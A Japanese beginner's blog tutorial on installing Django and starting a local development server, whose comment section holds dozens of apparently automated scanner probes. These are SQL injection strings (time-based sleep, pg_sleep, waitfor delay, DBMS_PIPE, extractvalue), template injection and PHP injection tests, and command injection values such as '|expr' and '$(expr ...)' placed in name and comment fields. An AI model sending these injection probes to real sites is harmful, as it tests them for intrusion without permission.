【Django】フレームワーク「Django」を利用してみる【Mac/Windows】

カテゴリ:Django 投稿:2022年7月4日0:51、更新:2022年7月5日0:59

・記事の概要 

Pythonフレームワーク「Django」の導入をします。

このBlogもDjangoフレームワークで構築しています。準備は非常に簡単です。


・この記事でできること 

Django」の準備と導入をして、そのまま使い始めることができます。

MacもWindowsでも対応可能です。

以下記事の続きとし、そのまま対応も可能です。

最新バージョン(3.10.5)でPython実行環境を準備する方法


また後続記事として、実際にBlogアプリを作ってみるというコンテンツも追加予定です!


・Djangoとは 

Django(ジャンゴ)はPythonのフレームワークの一つでInstagramなどでも使われています。

フレームワークというのは、ざっくり言えば「開発のために色々便利なものを既に用意してくれているソフトウェア」で、「よく使いそうな機能はこんな風に書いたら実現できますよ」ってものをあらかじめ用意してくれています。

DjangoはPythonフレームワークの中でもWebアプリケーションに幅広く対応できるもので、慣れれば簡単なアプリは数分で構築可能だったりします。


以下に公式ドキュメントがあります。すぐにはなくていいです、読んでみましょう。

Django公式(日本語)


・実際の導入手順 

(1) Djangoの用意

Macの場合はターミナル、Windowsの場合はコマンドプロンプトを立ち上げて以下を実行してください。

pip install django

もし「pip: command not found」のようなエラーが出てしまっていたら以下のように実行してみてください。

pip3 install django


(2) フォルダの準備

PCのどこにでもいいので、わかりやすく「django」というフォルダを作りましょう。

ここで後続作業をしていきます。

また作成したフォルダの中で


・Windows : 

Shift+右クリックで「PowerShell ウィンドウをここに開く」を選択してください。

※この方法だとコマンドプロンプトがすぐ開けないですが、やれることはコマンドプロンプトと同様です。

・Mac:

ターミナルの方はcdコマンドで作成のフォルダに移動してください。ターミナルで

cd 

と入力後に作成したフォルダをドラッグ&ドロップでターミナル上に持っていくと「cd <path>」の状態になるのでそのままEnterで移動もできます。


(3) プロジェクトの作成

(2)で作成の「django」フォルダに移動している状態で、以下をコマンド実行してください。

「myproject」部分は任意です。

django-admin startproject myproject

すると「django」フォルダ内に「myproject」フォルダができたかと思います。

「cd myproject」をコマンド実行し移動します。

cd myproject


(4) プロジェクトの起動

以下をコマンド実行します。

python3 manage.py runserver

すると開発用のローカルサーバが立ち上がります。

赤字でエラーのようなものも表示されるかもですが、いったんは気にしないでいいです!


http://127.0.0.1:8000/」にブラウザでアクセスしてみてください。

Djangoのスタート画面が表示されていればOKです!

djangoスタート画面


またローカルサーバは「Ctrl+C」で終了可能です。


・まとめ 

いかがだったでしょうか。

ローカル開発環境ができると、いよいよ感が出てきますね!笑

次の記事に進む前に一つやって置けるといいのがエディタの準備です。「VSCode」や「Atom」などを用意しておけるといいかなとおもいます!


コメント一覧

名無し / 2023年9月13日7:33
123456

名無し expr 816387229 + 808152089 / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${@var_dump(md5(475793068))};

名無し / 2023年9月13日7:36
123456

名無し|expr 893525687 + 985645948 / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
/*1*/{{808406222+836354521}}

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
'-var_dump(md5(821004712))-'

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${973010581+997695091}

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し&set /A 826820295+887203185 / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${(921460545+908570018)?c}

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456/**/and+3=3

expr 978340118 + 949910002 / 2023年9月13日7:36
123456

${923656871+817293300} / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
#set($c=935925659+906067152)${c}$c

${@var_dump(md5(363102911))}; / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456/**/and+4=9

名無し / 2023年9月13日7:36
123456
expr 990128927 + 831281556

名無し / 2023年9月13日7:36
${823271283+926334173}

名無し / 2023年9月13日7:36
<%- 891987898+812841215 %>

'-var_dump(md5(515017148))-' / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456'and'b'='b

名無し / 2023年9月13日7:36
123456|expr 970336515 + 986360764

名無し / 2023年9月13日7:36
123456'and'h'='e

名無し / 2023年9月13日7:36
123456$(expr 948456675 + 947939963)

名無し / 2023年9月13日7:36
123456"and"l"="l

名無し / 2023年9月13日7:36
123456&set /A 909462637+889384776

名無し / 2023年9月13日7:36
123456"and"n"="n

名無し / 2023年9月13日7:36
expr 854648934 + 952870115

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

/*1*/{{980485388+978541139}} / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

${832985086+859013686} / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
(select*from(select+sleep(0)union/**/select+1)a)

${(882683113+975398455)?c} / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年9月13日7:36
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

<%- 945224636+844702818 %> / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年9月13日7:36
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年9月13日7:37
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年9月13日7:37
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し鎈'"\( / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し'"\( / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年9月13日7:37
123456'and/**/extractvalue(1,concat(char(126),md5(1285585810)))and'

名無し / 2023年9月13日7:37
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年9月13日7:37
123456"and/**/extractvalue(1,concat(char(126),md5(1822174454)))and"

名無し / 2023年9月13日7:37
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年9月13日7:37
extractvalue(1,concat(char(126),md5(1581676990)))

名無し / 2023年9月13日7:37
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年9月13日7:37
123456'and(select'1'from/**/cast(md5(1165892833)as/**/int))>'0

名無し / 2023年9月13日7:37
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年9月13日7:37
123456/**/and/**/cast(md5('1952090911')as/**/int)>0

名無し / 2023年9月13日7:37
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年9月13日7:37
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1863729819')))

名無し / 2023年9月13日7:37
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('o',0)

名無し / 2023年9月13日7:37
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1733164494')))>'0

名無し / 2023年9月13日7:37
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('g',2)

名無し / 2023年9月13日7:37
123456鎈'"\(

名無し / 2023年9月13日7:37
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n

名無し / 2023年9月13日7:37
123456'"\(

名無し / 2023年9月13日7:37
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y

名無し'and'z'='z / 2023年9月13日7:38
123456

名無し'and'p'='z / 2023年9月13日7:38
123456

名無し"and"y"="y / 2023年9月13日7:38
123456

名無し"and"k"="x / 2023年9月13日7:38
123456

名無し / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:33
123456
expr 817114460 + 877030805

名無し / 2023年11月7日15:33
123456

${@var_dump(md5(354634229))}; / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456|expr 870275472 + 886675215

名無し / 2023年11月7日15:33
123456

'-var_dump(md5(348722343))-' / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456$(expr 849419986 + 862939123)

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
${@var_dump(md5(875741359))};

名無し / 2023年11月7日15:33
123456&set /A 850892090+876261981

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
'-var_dump(md5(727858068))-'

名無し / 2023年11月7日15:33
expr 895738250 + 952571774

名無し / 2023年11月7日15:34
123456

/*1*/{{976814517+959457406}} / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

${837165743+944459886} / 2023年11月7日15:34
123456

${844998728+845533382} / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456/**/and+4=4

名無し / 2023年11月7日15:34
${955162804+873527647}

${(949907548+989717555)?c} / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456/**/and+0=5

名無し / 2023年11月7日15:34
123456'and'g'='g

<%- 922989713+842841543 %> / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456'and'd'='z

名無し / 2023年11月7日15:34
/*1*/{{969739259+949298964}}

名無し expr 858436620 + 891817697 / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456"and"x"="x

名無し / 2023年11月7日15:34
${825065975+834475203}

名無し鎈'"\( / 2023年11月7日15:34
123456

名無し|expr 984159574 + 868847275 / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456"and"m"="u

名無し / 2023年11月7日15:34
${(880550319+879409239)?c}

名無し'"\( / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
#set($c=891599000+810949962)${c}$c

名無し / 2023年11月7日15:34
123456'and/**/extractvalue(1,concat(char(126),md5(1032635533)))and'

名無し&set /A 893264915+828549102 / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
<%- 828041094+924351587 %>

名無し / 2023年11月7日15:34
123456"and/**/extractvalue(1,concat(char(126),md5(1484348030)))and"

expr 954428363 + 875140396 / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
extractvalue(1,concat(char(126),md5(1410179969)))

名無し / 2023年11月7日15:34
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年11月7日15:34
123456'and(select'1'from/**/cast(md5(1817201558)as/**/int))>'0

名無し / 2023年11月7日15:34
(select*from(select+sleep(2)union/**/select+1)a)

名無し / 2023年11月7日15:34
123456/**/and/**/cast(md5('1438067931')as/**/int)>0

名無し / 2023年11月7日15:34
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し / 2023年11月7日15:34
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1241472421')))

名無し / 2023年11月7日15:34
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年11月7日15:34
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1404373983')))>'0

名無し / 2023年11月7日15:35
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年11月7日15:35
123456鎈'"\(

名無し / 2023年11月7日15:35
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年11月7日15:35
123456'"\(

名無し / 2023年11月7日15:35
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年11月7日15:35
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年11月7日15:35
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年11月7日15:35
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年11月7日15:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年11月7日15:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年11月7日15:35
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年11月7日15:35
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年11月7日15:35
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('c',0)

名無し / 2023年11月7日15:35
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('u',2)

名無し / 2023年11月7日15:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s

名無し / 2023年11月7日15:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',2)='u

名無し'and'p'='p / 2023年11月7日15:36
123456

名無し'and'p'='a / 2023年11月7日15:36
123456

名無し"and"v"="v / 2023年11月7日15:37
123456

名無し"and"u"="e / 2023年11月7日15:37
123456

コメント投稿ページへ


書いている人

のぎ
PG->SE->PMとして働き、現在はIT企業で新卒採用の担当をしています。長期育休取得明けで0歳娘の対応に毎日バタバタです。笑
採用業務をしつつ社内利用ツールなど作成しており、当ブログも勉強の一環でコーディングして作成しています。 エンジニア領域、人事・採用領域、育児関連など発信していきます。